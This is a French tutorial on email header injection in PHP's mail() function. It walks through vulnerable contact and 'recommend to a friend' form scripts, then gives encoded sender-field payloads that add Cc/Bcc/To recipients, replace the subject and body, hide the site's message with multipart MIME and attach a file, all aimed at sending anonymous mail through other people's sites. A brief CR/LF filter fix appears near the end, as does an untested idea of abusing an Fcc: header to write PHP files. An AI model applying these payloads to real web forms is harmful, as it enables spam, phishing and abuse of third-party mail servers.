Injection de headers dans la fonction mail() de PHP
Auteur/Traducteur : leseulfrog@hotmail.comDate de création :
Dernière modification : (tobozo : code highlighting and html5 conversion)
Vu 169458 fois
Les failles sur le net permettant l'envoi d'un mail anonyme
peuvent souvent servir à un hacker, ou pour une arnaque
quelconque. En effet, quand on envois un mail en PHP, le
destinataire reçoit un mail dont l'ip de l'expéditeur est celui
du site depuis lequel la fonction mail()
a été appelée. Le
site fait donc usage de proxy SMTP.
Dans ces cas-là, le problème vient du fait que l'utilisateur peut choisir le sujet du mail, son message, l'expediteur et le destinataire.
Rappel : La fonction mail fonctionne de la sorte : mail([DESTINATAIRE],[SUJET],[MESSAGE],[HEADERS]);
Inutile de parler donc du cas où tout les arguments de la
fonction mail()
sont définissable par l'utilisateur, il y a
déjà pas mal de textes à ce sujet.
Par contre il est plus interessant d'imaginer comment envoyer un email anonyme quand il y a certaines restrictions.
En effet, d'autres webmasters, plus prudents, définissent l'e-mail du destinataire dans le code PHP, quand il s'agit par exemple (le plus souvent) d'envoyer un mail au webmaster du site.
Voici un exemple de ce genre de script, sur lequel nous allons commencer l'analyse :
<? $to = "webmaster@website.com"; if (!isset($_POST["send"])){ // Si le formulaire n'a pas été envoyé, on l'affiche ?> <form method="POST" action="<?=basename(__FILE__);?>"> A: webmaster@website.com<br> De: <input type="text" name="expediteur"><br> Sujet : <input type="text" name="sujet"><br> Message : <br><br> <textarea name="message" rows="10" cols="60" lines="20"></textarea><br> <input type="submit" name="send" value="Envoyer"> </form> <? } else { // Si le formulaire a été envoyé $from = $_POST["expediteur"]; // On envoie le mail : if(mail($to, $_POST["sujet"], $_POST["message"], "From: $from\n")){ // Si le mail a bien été envoyé, message de confirmation echo "Votre mail a bien été envoyé à $to.<br>"; } else { // sinon, message d'erreur. echo "Votre mail n\'a pas pu être envoyé.<br>"; } } ?>
On ne peut donc pas choisir le destinataire via le premier
argument de la fonction mail()
, vu qu'il est définit dans le
script. Par contre on peut définir le sujet, le message, et
l'expediteur (dans les headers : From:
).
Rappelons le format d'un envoi de mail en PHP, pour une fonction
de type :
<? mail($destinataire, $sujet, $message, $headers); ?>
on envoie :
To: $destinataire Subject: $sujet $headers $message
Donc quand on fait un appel à la fonction
<? mail( "destinataire@website1.com", "Hello","Hi,\nYour site is great.\nBye", "From: expediteur@website2.com\n" ); ?>
on envoie :
To: destinataire@website1.com Subject: Hello From: expediteur@website2.com Hi, Your site is great. Bye
Dans le cas du
script PHP plus haut, la partie la plus interessante que
l'utilisateur peut choisir dans son envoi de mail est
l'expediteur, car il est directement envoyés dans les headers.
Et nous allons tenter de modifier ou d'ajouter d'autres headers
que le From:
.
Logiquement, les parties message, To:
et Subject:
pourraient
servir aussi à injecter quelque chose, mais la fonction mail()
filtre bien les deux dernières, et la première est le message,
et à partir du moment où on a sauté une ligne dans l'envoi du
mail, c'est considéré comme du texte; le message ne saurait
donc rester qu'un message.
Le but est d'injecter des headers. A quel but ? Et bien ici, pour
envoyer un email anonyme à quelqu'un d'autre que le webmaster du
site. Cela serait possible en utilisant par exemple l'header
Cc:
( pour Carbon Copy ou Copie Carbone ou
Copie Conforme), qui envois une copie conforme du mail
aux personnes indiquées en argument. Ou mieux l'header
Bcc:
(pour Blind Carbon Copy ou Copie
Carbone Cachée) qui envois une copie conforme sans qu'aucun
autre destinataire ne soit au courrant. Le problème est que pour
définir un nouvel header, il faut obligatoirement passer à la
ligne, comme on l'a vu dans le format de l'email plus haut.
Mais cela est possible, grâce au caractère <LF>
pour Line
Feed (ou passage à la ligne), dont la traduction
hexadecimale est 0x0A.
Ainsi, en reprenant l'exemple de script PHP ci-dessus, si je donne comme valeur :
- expéditeur : "email@anonymous.com%0ACc:email1@website1.com%0ABcc:email2@website2.com,email3@website3.com" - au sujet : "Hum" - au message : "My Message..."
alors l'email envoyé sera de la forme :
To: webmaster@website.com Subject: Hum From: email@anonymous.com Cc:email1@website1.com Bcc:email2@website2.com,email3@website3.com My Message...
et on aura non
seulement bel et bien injecté des headers, vu que le seul prévu
par le webmaster était From:
, mais on a en plus
envoyé l'email à trois personne de notre choix :
email1@website1.com, email2@website2.com et email3@website3.com
alors qu'on était pas sensé pouvoir choisir de destinataire.
On a utilisé les headers Cc:
et Bcc:
; pour
envoyer notre mail à qui on voulait, mais le mieux aurait été
d'utiliser l'header To:
. Et bien c'est possible; on
peut redéfinir l'header To:
, la nouvelle valeur
viendra juste s'ajouter à l'ancienne, comme si on avait séparé
les deux mails par des virgules (comme dans le Bcc:
injecté de l'exemple avant).
Gardons la même valeur pour le sujet et le message, mais à l'expéditeur donnont maintenant la valeur : "email@anonymous.com%0ATo:email1@who.com" ce qui donne :
To: webmaster@website.com Subject: Hum From: email@anonymous.com To:email1@who.com My Message...
La répétition du
To:
ne posera donc aucun problème, et l'email sera
envoyé à webmaster@website.com ET email1@who.com .
Imaginons maintenant une possibilité d'envoi de mail encore plus restrictive : l'envoi de pub. Il arrive souvent sur des sites qu'on trouve un formulaire pour envoyer un mail à un ami lui "conseillant" d'aller visiter le site sur lequel on se trouve. Dans des cas pareils, on peut rentrer notre email, que l'ami sache qui l'a conseillé, et l'email du destinataire (l'ami). Ce qui donne par exemple un script comme ceci :
<? $sujet = "Visitez http://www.website.com !"; $message = "Bonjour,\nUn ami vous conseille de visiter http://www.website.com.\nAu revoir."; if (!isset($_POST["send"])){ // Si le formulaire n'a pas été envoyé, on l'affiche ?> <form method="POST" action="<?=basename(__FILE__);?>"> A : <input type="text" name="destinataire"><br> De: <input type="text" name="expediteur"><br> <input type="submit" name="send" value="Envoyer"> </form> <? } else { // Si le formulaire a été envoyé $from = $_POST["expediteur"]; $to = $_POST["destinataire"]; // On envoi le mail : if (mail($to, $sujet, $message, "From: $from\n")){ // Si le mail a bien été envoyé, message de confirmation echo "Votre mail a bien été envoyé à $to.<br>"; } else { // sinon, message d'erreur. echo "Votre mail n\'a pas pu être envoyé.<br>"; } } ?>
Dans ce cas encore une fois, on va pouvoir injecter des headers. Mais pas pour le destinataire cette fois; on peut déjà le définir nous-même,c 'est prévu. Par contre ici on a pas le choix ni du sujet ni du message envoyé.
Commençons par le sujet. On
a vu tout à l'heure qu'un header pouvoit être définit deux
fois, la nouvelle valeur s'ajoutait à l'ancienne. Il en est
evidemment de même pour l'header Subject:
, comme pour
tout les nombreux autres headers.
En donnant
comme destinataire "ami@friends.com" et comme
expediteur badguy@badboys.com%0ASubject:My%20Anonymous%20Subject
,
le mail sera envoyé de cette façon :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: badguy@badboys.com Subject: My Anonymous Subject Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
Le sujet "My Anonymous Subject" sera ajouté au sujet "Visitez http://www.website.com !" ce qui donnera un email avec comme sujet "Visitez http://www.website.com ! My Anonymous Subject". Il arrive même dans certains webmails que ce ne soit que le sujet ajouté qui est affiché (par exemple sur hotmail, à l'intérieur du message).
Voyons enfin comment changer le message. Le corps du message, contrairement aux headers, n'est pas reconnaissable par son nom (From, To, Subject,...); il n'y a pas d'intitulé "Message" dans le format d'un mail. Et c'est justement comme ça qu'il est reconnaissable. A partir du moment où on est passé à la ligne sans définir aucun header, on sait que la suite est le message.
Donc au lieu de passer à la ligne et de mettre le nom de l'header à injecter, on va simplement passer à la ligne, puis inscrire le message.
Le message est déjà définit comme l'header To:
et
le header Subject:
, il y aura donc l'ancien message
plus le message injecté, mais contrairement à ces deux headers,
ce n'est pas après, mais avant l'ancien message que va se placer
le nouveau.
En effet imaginons maintenant qu'on marque comme expediteur : "badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message." , alors l'email serait de la forme :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: badguy@badboys.com My New Anonymous Message. Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
On voit clairement que le nouveau message :
My New Anonymous Message
vient avant l'ancien message :
Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
pour donner finalement le message :
My New Anonymous Message Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
Comme je l'ai déjà dit, il existe toute une ribambelle
d'headers mail autres que Cc
,
Bcc:
, To:
, Subject:
et From:
.
Nous n'allons pas tous les passer en revue, ce n'est pas le but de ce texte. Voyons en un dernier, un petite luxe =), qui peut s'averer fort utile.
Il s'agit de l'header Content-Type
qui, comme le dit
son nom, définit le type du message envoyé. Il est par défaut
plain/text
, c'est-à-dire du texte simple. Mais on
peut lui donner par exemple la valeur text/html
, ce
qui aura comme effet d'interpreter les balises HTML comme du HTML
et pas comme du texte.
Par exemple en donnant à l'expediteur la valeur :
haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A
"
l'email envoyé sera :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: haxor@attack.com Content-Type:text/html My New <u>HTML Anonymous Message.</u> Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
et à l'affichage du mail, le texte "HTML Anonymous
Message." sera souligné.
La fonction mail respecte l'encodage MIME. En sachant ça,
l'header Content-Type
peut devenir très interessant
pour l'injection d'headers. L'encodage MIME (Multipurpose Internet Mail Extensions) peut servir, en plus
d'envoyer des emails en html, de faire des attachements de
fichiers (sons, images, texte,...).
Ici nous allons étudier et utiliser l'header
Content-Type
avec comme valeur
multipart/mixed
(il y en a bien sûr d'autres du
même type comme multipart/alternative
ou
multipart/related
).
multipart/mixed
va nous permettre de séparer le mail
en plusieurs parties.
Commençons de suite par un exemple de mail au format MIME, ici avec une seule partie pour le destinataire :
To: destin@tai.re Subject: Good Luck From: expediteur@hissite.com Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; Good Luck for you work, bye --MyBoundary-- Hidden Text2
On voit d'abord un header To:
;, Subject:
et
From
puis l'header Content-Type
avec
l'argument multipart/mixed
, et juste après une ligne
attribuant à boundary
la valeur
"MyBoundary"
. "boundary"
et le séparateur
entre les differentes parties du message. Il annonce le début du
1er message par "--[LE BOUNDARY]",
il fait la
séparation entre les differentes parties également par
"--[LE BOUNDARY]"
et il définit la fin du message par
"--[LE BOUNDARY]--"
. On peut lui donner la valeur qu'on
veut. Ensuite on voit une ligne "Hidden Text1"
. Comme
il le dit, ce texte ne sera pas montré au destinataire, car ce
n'est ni un header, ni une partie du message, puisqu'on a
définit un "boundary"
qui n'a pas encore annoncé le
début du 1er message.
Puis on a cette ligne "--MyBoundary"
qui annonce le
début du premier message, et directement après encore un fois
l'header "Content-Type"
qui va définir le type de
cette première partie, ici du texte simple. Puis vient le
message, et la ligne "--MyBoundary--"
, annonçant la
fin de l'email. Comme c'est la fin de l'email, la dernière ligne
"Hidden Text2"
ne sera pas non plus montrée au
destinataire.
Et voilà ce qui est interessant pour l'injection d'headers : on
avait vu qu'on pouvait ajouter un message avec le script PHP pour
envoyer une pub, mais la pub était toujours là. Avec ce nouvel
élément, on va pouvoir faire en sorte qu'il soit ignoré.
Ainsi en donnant comme valeur à l'expediteur :
haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--
on obtient l'envoi de message suivant :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: haxor@attack.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>My Message.</b> --frog-- Bonjour, un ami vous conseille de visiter http://www.website.com.
Au revoir.
et le message reçu par "ami@friends.com" est
uniquement "<b>My Message.</b>" en
HTML, c'est à dire "My Message." en gras. Le
message de pub :
Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
n'est pas affiché.
Note : je n'ai pas mis le boundary entre guillemets pour
montrer que c'est applicable même si magic_quotes_gpc=ON.
Autre chose à ce sujet... imaginons que le hacker puisse
modifier les headers via le champ Sender:
ET une
variable dans le message (par exemple au lieu de "un
ami" dans le message, une variable que l'utilisateur doit
remplir dans le formulaire du script PHP via un champ
"Pseudo"). Dans ce cas, il est possible d'obtenir le
même résultat côté destinataire (afficher uniquement le
message que l'on choisit), en donnant au champ
Sender:
la valeur :
haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A
et au champ "Pseudo" la valeur :
%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--
Seule difference, l'envoi de message sera :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: haxor@attack.com Content-Type:multipart/mixed; boundary=frog; Bonjour, --frog Content-Type:text/html <b>My Message.</b> --frog-- vous conseille de visiter http://www.website.com. Au revoir.
On voit bien que les parties du message "Bonjour," et "vous conseille de visiter http://www.website.com.Au revoir." se trouvent aux emplacements de "Hidden Text1" et "Hidden Text2" dans le premier exemple de mail multipart-mixed. Elles ne sont donc pas affichées dans le message.
Enfin une petite finale où on utilise à peu près tout ce qu'on
a vu, plus un petit bonus; un fichier attaché. En donnant au Sender:
la valeur :
haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A
l'email est envoyé de la manière suivante :
To: ami@friends.com Subject: Visitez http://www.website.com ! From: haxor@attack.com Subject:Mwahahaha Bcc:target@nothappy.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>HTML Message.</b> --frog-- Content-Type:text/html;name=Security.html; Content-Transfer-Encoding:8bit Content-Disposition: attachment <u>HTML File</u> --frog-- Bonjour, un ami vous conseille de visiter http://www.website.com. Au revoir.
Ce qui donne donc comme expediteur : "haxor@attack.com", comme sujet : "Visitez http://www.website.com ! Mwahahaha".
Cet email sera reçu par "ami@friends.com", et
en copie cachée par "target@nothappy.com".
L'email contiendra un message en html : <b>HTML
Message.</b>
et un fichier attaché de type
"text/html" nommé "Security.html"
contenant le code HTML : <u>HTML File</u>
.
Pour sécuriser les failles d'injection d'headers mail, il doit y avoir plusieurs manières differentes. Une idée serait d'ajouter, après la ligne :
$from=$_POST["expediteur"];
le code suivant :
if(preg_match("/\r|\n/",$from)) { die("Why ?? :("); }
On voit que le script est stoppé grâce à une fonction die()
si
l'expediteur contient \r
ou \n
.
\n
correspond à LF ou 0x0A/%0A
en hexadecimal,
c'est-à-dire le saut à la ligne, et \r
correspond
à CR
ou 0x0D/%0D
en hexadecimal ou <CR>
(carriage return),
c'est à dire le retour en début de ligne. Il arrive que les
caractères %0A%0D
soient utilisés à la place du simple %0A
,
mais c'est ce dernier caractère qui est réellement dangereux.
Le filtre vérifie tout de même se caractère car il n'y a
aucune autre raison que le piratage qu'il soit utilisé.
Il y aurait bien sûr encore beaucoup de choses à dire, mais les grands principes sont vus, ainsi que la logique.
En conclusion on se souviendra qu'on peut modifier comme on veut
dans l'e-mail tout ce qui se trouve après l'endroit de
l'injection (le From:
), et on peut seulement ajouter
ce que l'on veut après ce qui se trouve avant l'endroit de
l'injection.
Il y a un autre bon point à cette sécurité, en plus du fait
que les sujets et destinataires entrés dans la fonction mail()
sont définis de toute façon.
Quand j'ai pensé à faire le texte sur l'injection d'headers, je
n'avais encore jamais rien fait de ce genre. En reflechissant à
ce qui serait possible de faire, je me suis dis qu'il pourrait
bien y avoir un trou énorme dû au header Fcc:
. Cet
header contient le nom du fichier dans lequel une copie du mail
sera enregistré à son envoi. Mais cet header doit être le
premier définit parmis tout les headers pour être valide, et ce
n'est pas possible via la fonction PHP mail()
(et en plus je ne
suis pas sûr que ça soit applicable au format MIME).
Si je parle de ce header Fcc:
, c'est pour attirer
l'attention sur lui. Imaginons que comme message du mail ou comme
expediteur ou n'importe quoi on mette du code PHP, et que dans
Fcc:
on mette un nom de fichier en .php dont le path
est celui du site web, il serait alors possible d'exécuter du
code PHP. Ce n'est qu'une idée que je n'ai jamais testée mais
je suis sûr qu'il doit y avoir quelque part des failles liées
à ça. Si quelqu'un en entend parler, qu'il me fasse signe :)